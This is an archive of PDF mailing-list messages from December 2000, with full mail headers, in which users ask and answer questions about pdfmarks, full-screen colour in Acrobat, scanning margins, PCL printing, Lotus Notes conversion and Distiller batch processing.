pdf@lists.pdfzone.com; Wed, 6 Dec 2000 15:12:41 +0000 Message-ID: <3A2E640A.A3E11872@postle.net> Date: Wed, 06 Dec 2000 16:06:34 +0000 From: Denis X-Mailer: Mozilla 4.72 [en]C-CCK-MCD NSCPCD472 (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Linked pdfmarks References: <20001206035043.ELZW2287.mtiwmhc23.worldnet.att.net@webmail.worldnet.att.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi George, This is very generous of you. The sample fields are just what I need.... however as of this moment I haven't been able to extract the two attached pdfmarkfiles. On this (PC) machine .eps is associated with Photoshop and I don't have a copy of Illustrator which I guess would be the preferred application. Could you post or e-mail the pdfmark code? (or otherwise point me to how to open the attachments) Greetings Denis Postle The Mind Gymnasium: Digital Edition geojohn@att.net wrote: > > It includes two file annotations that are the EPS files > that contain the pdfmark code for each field. If you > have any questions, post again. > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 15:27:36-GMT,2533;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA00344 for ; Wed, 6 Dec 2000 08:27:35 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA10666; Wed, 6 Dec 2000 09:26:57 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 09:20:10 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA09887; Wed, 6 Dec 2000 09:20:07 -0600 Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA09877 for ; Wed, 6 Dec 2000 09:20:01 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 143gMS-000Fvj-0X for pdf@lists.pdfzone.com; Wed, 6 Dec 2000 15:20:00 +0000 Message-ID: <3A2E65BF.9AE3F4D8@postle.net> Date: Wed, 06 Dec 2000 16:13:51 +0000 From: Denis X-Mailer: Mozilla 4.72 [en]C-CCK-MCD NSCPCD472 (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] FullScreen mode colour References: <3D62AB6FFC80D211A84700104B10CB2C08734BDD@denver.quark.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This does sound a promising way to check it out... though discouraging if true.... since the PC platform is the place the final object will mostly go. Thanks Denis Postle The Mind Gymnasium: Digital Edition Leonard Rosenthol wrote: > One way to check this out would be to try viewing the file ona Mac - both > regular and full screen and see if the problem persists. Also, you might want > to try using an alternative PDF viewer (perhapsGhostscript?) and see if it has > similar problems. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 15:45:50-GMT,2725;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA00974 for ; Wed, 6 Dec 2000 08:45:50 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA12281; Wed, 6 Dec 2000 09:45:10 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 09:38:23 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA11721; Wed, 6 Dec 2000 09:38:22 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA11717 for ; Wed, 6 Dec 2000 09:38:19 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id PAA28661 for ; Wed, 6 Dec 2000 15:38:19 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] FullScreen mode colour Date: Wed, 6 Dec 2000 15:38:19 -0000 Message-ID: <000801c05f9a$8faf3340$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <3A2E2615.56501DAD@postle.net> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > The problem is most apparent when I put up both the quark > file and the pdf file > in menu view next to each other. What is the colour depth on the monitor? > The color is very obviously > identical. By > comparison, the Fullscreen View is unacceptably off-balance > towards blue. So it > doesn't seem likely to be a Quark issue. I don't think we've yet seen how you are specifying the colour. Are you using RGB or CMYK? If you are using RGB, are you making sure that XPress is not turning them to CMYK? > I am using eBook setup in Distiller and the problem is duplicated on a > second (PC 350Meg) machine. My Distiller doesn't have an ebook setting. Where did your come from? Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 15:48:33-GMT,1936;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA01067 for ; Wed, 6 Dec 2000 08:48:32 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA12629; Wed, 6 Dec 2000 09:47:54 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 09:41:04 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA12015; Wed, 6 Dec 2000 09:41:03 -0600 Received: from mail.rapidgraphics.com (mail.rapidgraphics.com [207.88.162.20]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA11988; Wed, 6 Dec 2000 09:41:01 -0600 Message-id: Date: Wed, 06 Dec 2000 07:40:55 -0800 Subject: Re(2): [PDF] FullScreen mode colour To: pdf@lists.pdfzone.com Cc: pdf@lists.pdfzone.com From: werner@rapidgraphics.com (Steve Werner) Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ pdf@lists.pdfzone.com writes: >This does sound a promising way to check it out... though discouraging if >true.... since the PC platform is the place the final object will mostly >go. > >Thanks > >Denis Postle >The Mind Gymnasium: Digital Edition I just opened up a random PDF on the Mac OS, and switched to full-screen mode, and saw no difference in color. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 15:59:20-GMT,2264;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA01341 for ; Wed, 6 Dec 2000 08:59:19 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA13629; Wed, 6 Dec 2000 09:58:38 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 09:51:41 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA13107; Wed, 6 Dec 2000 09:51:39 -0600 Received: from ctc.ctc.edu (root@ctc.ctc.edu [134.39.2.118]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA13103 for ; Wed, 6 Dec 2000 09:51:37 -0600 Received: from [134.39.75.134] ([134.39.75.134]) by ctc.ctc.edu (8.9.3 (PHNE_18979)/8.8.6) with ESMTP id HAA10082 for ; Wed, 6 Dec 2000 07:51:35 -0800 (PST) Mime-Version: 1.0 Message-Id: Date: Wed, 6 Dec 2000 08:09:09 -0800 To: pdf@lists.pdfzone.com From: dick davis Subject: [PDF] moving a box Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ simply put........flash 4 i want to move 3or 4 boxes across a scene window (preferably in a MC) i need to have the user be able to roll over the boxes and have the MC stop until they move away at which time the MC continues..............sound simple so far ? i also need the ability to have the user click on (on press) each box and be transported to another scene in the project. the question is how .........should the process be in the main time line and not in an MC ? be well dick Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 16:13:30-GMT,2856;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA01798 for ; Wed, 6 Dec 2000 09:13:29 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA15151; Wed, 6 Dec 2000 10:12:45 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 10:05:33 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA14330; Wed, 6 Dec 2000 10:05:31 -0600 Received: from mail (mail.document-solutions.com [216.103.111.12]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA14322 for ; Wed, 6 Dec 2000 10:05:29 -0600 Received: from OAKLAND-Message_Server by mail with Novell_GroupWise; Wed, 06 Dec 2000 08:05:19 -0800 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Wed, 06 Dec 2000 08:04:53 -0800 From: ""Duff Johnson"" To: Subject: Re: [PDF] adding margins to scanned pages Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id KAA14324 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ >I'm wanting to scan documents into PDF, but allowing >defined margins at top, >bottom, left and right. >Acrobat4 seems only to allow me to capture the >scanned area (the bounding >rectangle), it allows me to scale it, but I can't >figure out how to add a >margin around the scanned image ( I can crop the >page, but not add to it). >Or to put it another way, what I want to do is scan >the page into the space >that's left once I've allowed my defined margins (lets say 1 inch) to my >page size (lets say A4). Can I do this with Acrobat, >do I need Capture, are >there any tricks? You should perform this type of operation on the TIFF file before converting to PDF. Have your scanner make TIF files rather than going ""straight"" to PDF. As a TIF, you can easily pad the whitespace around your page-image with a tool such as ScanFix, from TMSSequoia. THEN you are ready to bring it into PDF. Duff Johnson Document Solutions, Inc. www.document-solutions.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 16:14:04-GMT,2686;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA01821 for ; Wed, 6 Dec 2000 09:14:03 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA15260; Wed, 6 Dec 2000 10:13:55 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 10:06:52 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA14426; Wed, 6 Dec 2000 10:06:51 -0600 Received: from mtiwmhc25.worldnet.att.net (mtiwmhc25.worldnet.att.net [204.127.131.50]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA14422 for ; Wed, 6 Dec 2000 10:06:50 -0600 From: geojohn@att.net Received: from webmail.worldnet.att.net ([204.127.135.41]) by mtiwmhc25.worldnet.att.net (InterMail vM.4.01.03.10 201-229-121-110) with SMTP id <20001206160640.HAJE25510.mtiwmhc25.worldnet.att.net@webmail.worldnet.att.net>; Wed, 6 Dec 2000 16:06:40 +0000 Received: from [12.82.140.217] by webmail.worldnet.att.net; Wed, 06 Dec 2000 16:06:37 +0000 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Linked pdfmarks Date: Wed, 06 Dec 2000 16:06:37 +0000 X-Mailer: AT&T Message Center Version 1 (May 2 2000) X-Authenticated-Sender: geojohn@att.net Message-Id: <20001206160640.HAJE25510.mtiwmhc25.worldnet.att.net@webmail.worldnet.att.net> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > The sample fields are just what I need.... however > as of this moment I haven't been able to extract the > two attached pdfmark files. Denis, After you extract the EPS files, you can simply open them in a text editor to see the pdfmark code. They're simple text files. To extract the files to your machine, first save the PDF to your machine, open it directly in Acrobat (not in a browser) right-click an annotation and select ""Extract File..."". Do not double-click or otherwise launch the files. Note that you will need Acrobat 4 or Business Tools. If you have any problems, I'd be happy to post the text here. George Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 16:53:31-GMT,2679;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA03072 for ; Wed, 6 Dec 2000 09:53:30 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA18100; Wed, 6 Dec 2000 10:53:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 10:42:04 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA17326; Wed, 6 Dec 2000 10:42:02 -0600 Received: from notessmtp.canberra.com ([192.153.25.189]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA17321 for ; Wed, 6 Dec 2000 10:42:00 -0600 From: joemiller@canberra.com Subject: [PDF] Bad Graphics When Printing PDF to PCL Printers (LaserJets) To: pdf@lists.pdfzone.com Date: Wed, 6 Dec 2000 11:40:27 -0500 Message-ID: X-MIMETrack: Serialize by Router on SMTPMAIL/PBC(Release 5.0.3 |March 21, 2000) at 12/06/2000 11:43:38 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We're suddenly unable to print decent graphics (screen shots) in PDFs to a PCL printer (such as a LaserJet). Printing to a PostScript printer is ok. The PDFs are created by printing from the layout application to Distiller Assistant/Distiller 3.01. Distiller 3.01's compression is set to: Compress Text and Line Art -- checked Color Bitmap Images Downsample to: 600 dpi Automatic Compression: ZIP/JPEG High Grayscale Bitmap Images Downsample to: 600 dpi Automatic Compression: ZIP/JPEG High Monochrome Bitmap Images Downsample to: 600 dpi Manual Compression: CCITT Group 4 Our PDF used to print ok to PCL printers, so something has changed, but I can't figure out what I'm overlooking. I'll be most grateful for any help offered. FWIW, we long ago decided not to use Acro4 because Ambia's Compose doesn't recognize Acro4's PS coding for embedded Times and Helvetica fonts. TIA, Joe Miller Senior Editor Canberra Industries Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 17:06:43-GMT,2431;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA03457 for ; Wed, 6 Dec 2000 10:06:37 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA19444; Wed, 6 Dec 2000 11:06:33 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 10:56:58 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA18430; Wed, 6 Dec 2000 10:56:56 -0600 Received: from mtiwmhc25.worldnet.att.net (mtiwmhc25.worldnet.att.net [204.127.131.50]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA18423 for ; Wed, 6 Dec 2000 10:56:55 -0600 From: geojohn@att.net Received: from webmail.worldnet.att.net ([204.127.135.41]) by mtiwmhc25.worldnet.att.net (InterMail vM.4.01.03.10 201-229-121-110) with SMTP id <20001206165645.HPUC25510.mtiwmhc25.worldnet.att.net@webmail.worldnet.att.net>; Wed, 6 Dec 2000 16:56:45 +0000 Received: from [12.82.140.217] by webmail.worldnet.att.net; Wed, 06 Dec 2000 16:56:44 +0000 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Self-Close Acrobat? Date: Wed, 06 Dec 2000 16:56:44 +0000 X-Mailer: AT&T Message Center Version 1 (May 2 2000) X-Authenticated-Sender: geojohn@att.net Message-Id: <20001206165645.HPUC25510.mtiwmhc25.worldnet.att.net@webmail.worldnet.att.net> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I have a little web site that shows .pdf docs in > frames. As I navigate throughout the site, I notice > that the memory usage of acrobat.exe has shot up to > 16mb. And after I leave the site, acrobat.exe is > still there. Acrobat remaining loaded is a feature. Acrobat will close down after several minutes of non-use. I've never experienced a problem with it. George Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 17:30:29-GMT,3430;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA04182 for ; Wed, 6 Dec 2000 10:30:28 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA22018; Wed, 6 Dec 2000 11:30:17 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 11:21:38 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA21278; Wed, 6 Dec 2000 11:21:36 -0600 Received: from relay2.net.ucia.gov (relay2.ucia.gov [198.81.129.194]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id LAA21274 for ; Wed, 6 Dec 2000 11:21:33 -0600 Received: by relay2.net.ucia.gov; id MAA02411; Wed, 6 Dec 2000 12:19:34 -0500 Received: from puff.ucia.gov(198.81.128.66) by relay2.net.ucia.gov via smap (4.1) id xma002350; Wed, 6 Dec 00 12:19:28 -0500 Received: from mailhub.ucia.gov by puff.ucia.gov (8.8.8+Sun/ucia internal v1.35 (complaints to postmaster@ucia.gov)) with ESMTP id MAA13885; Wed, 6 Dec 2000 12:21:11 -0500 (EST) sender rowlaso@LoCAL for Received: from ucia.gov by mailhub.ucia.gov (8.8.8+Sun/ucia internal v1.35 (complaints to postmaster@ucia.gov)) with ESMTP id MAB16346; Wed, 6 Dec 2000 12:15:52 -0500 (EST) sender rowlaso@LoCAL for Message-ID: <3A2E74EB.3F075B2C@ucia.gov> Date: Wed, 06 Dec 2000 12:18:35 -0500 From: rowlaso X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Convert to PDF from Lotus Notes v5.03 database in one step References: <200011211237.GAA03119@everglades.binc.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I am currently working on a project that involves disseminating data from a v5.03 Lotus Notes database in PDF format. My solution would be to find the capability that would allow a user to automatically convert a Notes document to a PDF document in one step (preferably from a menu pick or a button). I can partially do this now, in a manual fashion, by selecting the print option, using the pdfwriter and then specify the filename and save location. This is one to many steps for an end user to remember. I was told by a third party vendor that by installing the full version of Adobe Acrobat with the Lotus Client (version?) would produce a menu pick (File\\""Convert to PDF"") from within Notes. I guess there is an API loaded here? I have been unable to determine or confirm whether this is true or not? Is there someone out there with a suggestion or may have done this already and can provide me with step by step instructions/information about how to perform this function? Thanks for any help, Shep Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 19:22:42-GMT,2224;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA08302 for ; Wed, 6 Dec 2000 12:22:41 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA28325; Wed, 6 Dec 2000 13:22:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 13:13:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA27826; Wed, 6 Dec 2000 13:13:15 -0600 Received: from domino.ihs.com ([170.207.120.12]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA27822 for ; Wed, 6 Dec 2000 13:13:14 -0600 From: jeremy.salganik@ihs.com Subject: [PDF] PDF Decryption To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.2c February 2, 2000 Message-ID: Date: Wed, 6 Dec 2000 12:10:57 -0700 X-MIMETrack: Serialize by Router on Domino/IHS/US(Release 5.0.5 |September 22, 2000) at 12/06/2000 12:11:02 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have over 30,000 PDF files that are encrypted. I have a security password to change the file and I have changing the document not allowed set. What I would like to do is batch process all of these files to clear the security settings and turn off the encryption. Right now using Acrobat 4.05 I can clear the security settings but my files are still encrypted. So the security method still shows as standard. I need this cleared. Does anyone know of a tool to do this? Jeremy Salganik IHS Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 19:48:03-GMT,2116;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA09091 for ; Wed, 6 Dec 2000 12:48:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA29940; Wed, 6 Dec 2000 13:47:33 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 13:39:13 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA29408; Wed, 6 Dec 2000 13:39:12 -0600 Received: from md-admin.ags.com (md-admin.ags.com [216.32.72.10]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA29404 for ; Wed, 6 Dec 2000 13:39:11 -0600 Received: by md-admin.ags.com with Internet Mail Service (5.5.2650.21) id ; Wed, 6 Dec 2000 14:39:13 -0500 Message-ID: <081F59AF1333D311AF7D00805FA713BBBF5137@md-admin.ags.com> From: ""Cratty, Ken"" To: ""'pdf@lists.pdfzone.com'"" Subject: [PDF] Distiller Batch Processing Date: Wed, 6 Dec 2000 14:39:03 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I am still looking for a program that will work with my distiller to produce ONE pdf file from multiple postscript files in a Windows enviroment. Can anyone help me? Ken Cratty Electronic Prepress 4590 Graphics Drive White Plains, MD 20695 301.843.1800 ext.470 800.678.8760 Fax: 301.843.6339 kcratty@ags.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 19:58:13-GMT,2317;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA09381 for ; Wed, 6 Dec 2000 12:58:12 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA30744; Wed, 6 Dec 2000 13:58:03 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 13:49:58 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA30139; Wed, 6 Dec 2000 13:49:57 -0600 Received: from xchg.Lantech.com ([206.115.87.136]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA30135 for ; Wed, 6 Dec 2000 13:49:56 -0600 Received: by XCHG with Internet Mail Service (5.5.2448.0) id ; Wed, 6 Dec 2000 14:53:46 -0500 Message-ID: <3A38C95C7C8ED311A3FD0060B0576898101287@XCHG> From: Bill Fleming To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Distiller Batch Processing Date: Wed, 6 Dec 2000 14:53:44 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Amen, Ken, Me too! -----Original Message----- From: Cratty, Ken [mailto:KCratty@AGS.com] Sent: Wednesday, December 06, 2000 2:39 PM To: 'pdf@lists.pdfzone.com' Subject: [PDF] Distiller Batch Processing The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I am still looking for a program that will work with my distiller to produce ONE pdf file from multiple postscript files in a Windows enviroment. Can anyone help me? Ken Cratty Electronic Prepress Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 20:14:25-GMT,3451;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA09907 for ; Wed, 6 Dec 2000 13:14:23 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA31905; Wed, 6 Dec 2000 14:14:14 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 14:05:39 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA31350; Wed, 6 Dec 2000 14:05:29 -0600 Received: from cartell.cooke.net (cartell.cooke.net [198.68.210.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA31334 for ; Wed, 6 Dec 2000 14:05:26 -0600 Received: from cooke.net (dup4-26.cooke.net [198.68.210.218]) by cartell.cooke.net (8.9.3/8.9.3) with ESMTP id OAA06655 for ; Wed, 6 Dec 2000 14:05:25 -0600 (CST) Message-ID: <3A2E9C1F.94534C5C@cooke.net> Date: Wed, 06 Dec 2000 14:05:51 -0600 From: Gayle Hermes Organization: Olympic Productions X-Mailer: Mozilla 4.61 (Macintosh; I; PPC) X-Accept-Language: en,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] autorun Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com 